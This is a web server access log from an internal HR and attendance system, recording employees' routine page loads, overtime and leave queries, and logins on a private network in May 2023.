192.168.12.36 - - [25/May/2023:11:16:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:16:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.12.36 - - [25/May/2023:11:16:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.12.36 - - [25/May/2023:11:16:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:11:16:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:11:16:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.12.36 - - [25/May/2023:11:16:58 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:16:58 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658
192.168.12.36 - - [25/May/2023:11:16:57 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:16:57 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.12.36 - - [25/May/2023:11:16:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.12.36 - - [25/May/2023:11:16:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:16:58 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.81:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:16:58 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.136 - - [25/May/2023:11:16:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [25/May/2023:11:16:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.12.36 - - [25/May/2023:11:20:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.12.36 - - [25/May/2023:11:20:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:20:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:20:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.12.71 - - [25/May/2023:11:20:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:11:20:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:11:20:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:11:20:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:11:22:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:11:22:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101
192.168.12.71 - - [25/May/2023:11:22:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:11:22:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:11:18:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:11:18:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:17:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:11:17:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.12.36 - - [25/May/2023:11:20:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:11:20:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.12.36 - - [25/May/2023:11:21:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:11:21:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.12.36 - - [25/May/2023:11:21:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:11:21:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.12.36 - - [25/May/2023:11:20:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:11:20:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.12.36 - - [25/May/2023:11:21:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:11:21:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.12.36 - - [25/May/2023:11:21:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:11:21:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.12.36 - - [25/May/2023:11:21:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:11:21:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.12.36 - - [25/May/2023:11:21:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.12.36 - - [25/May/2023:11:21:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:11:22:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 139
192.168.12.36 - - [25/May/2023:11:22:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 139 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:23:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 139 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:23:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 139
192.168.12.36 - - [25/May/2023:11:25:32 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.12.36 - - [25/May/2023:11:25:32 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:36:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.36 - - [25/May/2023:11:36:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:36:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:11:36:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.222 - - [25/May/2023:11:39:51 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477
192.168.11.222 - - [25/May/2023:11:39:51 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:11:39:57 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.222 - - [25/May/2023:11:39:57 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:11:39:58 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480
192.168.11.222 - - [25/May/2023:11:39:58 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:11:40:02 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.81:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:11:40:02 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.222 - - [25/May/2023:11:40:08 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.222 - - [25/May/2023:11:40:08 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.81:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.12.71 - - [25/May/2023:11:40:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:11:40:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101
192.168.11.222 - - [25/May/2023:11:40:08 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 -
192.168.11.222 - - [25/May/2023:11:40:08 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:11:41:11 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:11:41:11 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.222 - - [25/May/2023:11:41:59 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480
192.168.11.222 - - [25/May/2023:11:41:59 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.12.71 - - [25/May/2023:11:41:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:11:41:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.222 - - [25/May/2023:11:42:20 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:11:42:20 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 -
192.168.11.222 - - [25/May/2023:11:43:37 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:11:43:37 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480
192.168.11.141 - - [25/May/2023:11:45:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.141 - - [25/May/2023:11:45:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:11:45:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:11:45:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
